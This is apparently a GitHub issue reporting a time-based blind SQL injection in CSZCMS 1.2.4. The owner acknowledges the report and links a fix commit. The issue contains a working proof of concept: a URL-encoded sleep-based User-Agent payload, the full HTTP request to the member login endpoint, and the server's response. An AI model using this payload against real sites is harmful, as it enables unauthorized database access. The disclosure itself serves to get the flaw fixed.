

New issue

[Jump to bottom](#)

Time-based blind SQL injection Vulnerability in CSZCMS-1.2.4 #22

🔒 Closed edwatering opened this issue on Nov 14, 2019 · 2 comments

edwatering commented on Nov 14, 2019

Hi, @cskaza and I found an arbitrary file upload vulnerability in cszcms-1.2.4. The vulnerable code is on cszcms/core/MY_Security.php file line 47.

```
47 VALUES ('', 'CSRF Protection Invalid', 'CSRF_INVALID', '', $this->xss_clean($mysqli->escape_string($_SERVER['HTTP_USER_AGENT'])))
```

I think using the function 'escape-string' can solve the sql injection vulnerability, but you use function 'xss_clean' after it. The function 'xss_clean' can decode str with function 'rawurldecode', so I can exploit like #19.

Urlencode the value of UA:

Before:

User-Agent: '-(if(1=1, sleep(5), 1))-', '192.168.1.11','time') #

After:

User-Agent:

%27%2d%28%20%69%66%28%31%3d%31%2c%20%73%6c%65%65%70%28%35%29%2c%20%31%29%20%29%2d%27%27%2c%20%27%31%39%32%2e%31%36%38%2e%31%2e%31%27%2c%20%74%69%6d%65%27%29%20%23

POST /cszcms/member/login/check HTTP/1.1

Host: localhost

User-Agent:

%27%2d%28%20%69%66%28%31%3d%31%2c%20%73%6c%65%65%70%28%35%29%2c%20%31%29%20%29%2d%27%27%2c%20%27%31%39%32%2e%31%36%38%2e%31%2e%31%27%2c%20%74%69%6d%65%27%29%20%23

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://localhost/cszcms/member/login

Content-Type: application/x-www-form-urlencoded

Content-Length: 32

Connection: close

Upgrade-Insecure-Requests: 1

email=111%40111.com&password=111

```
HTTP/1.1 403 Forbidden
Date: Thu, 14 Nov 2019 06:16:45 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.0.12
Set-Cookie: cszcookie_da0063c957a79007c828421a06b8b680csrf_cookie_csz=19f5a98ebf4f53b166097f737ba2519e; expires=Thu, 14-Nov-2019 08:16:45 GMT; Max-Age=7200; path=/; domain=localhost; HttpOnly
Set-Cookie: cszcookie_da0063c957a79007c828421a06b8b680csrf_cookie_csz=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2611
```

```
<script>window.setTimeout(function(){window.location =
"http://localhost/cszcms/member/login?nocache=1573712211";},2000);</script><!DOCTYPE html>
<html lang="en">
<head>
<meta name="generator" content="CSZ CMS | Open Source Content Management with responsive" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<link href="http://localhost/cszcms/templates/admin/imgs/favicon.ico" rel="shortcut icon" type="image/ico" />
<title>Error | An Error Was Encountered</title>
<!-- Bootstrap Core CSS -->
<link href="http://localhost/cszcms/assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
```

0 matches

Done

0 matches

3,173 bytes 6.515 millis

Suggest: Remove function 'xss_clean' here.

cskaza commented on Nov 24, 2019

Owner

Thanks for your suggest. I will resolve it.

cskaza commented on Nov 27, 2019 • edited

Owner

This bug has been to resolved.

<https://gitlab.com/cszcms/cszcms/commit/64b4851c5d79eb4ef4c4d99708d3f03c239bf63b>

Thanks.

🔒 cskaza closed this as completed on Nov 27, 2019

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

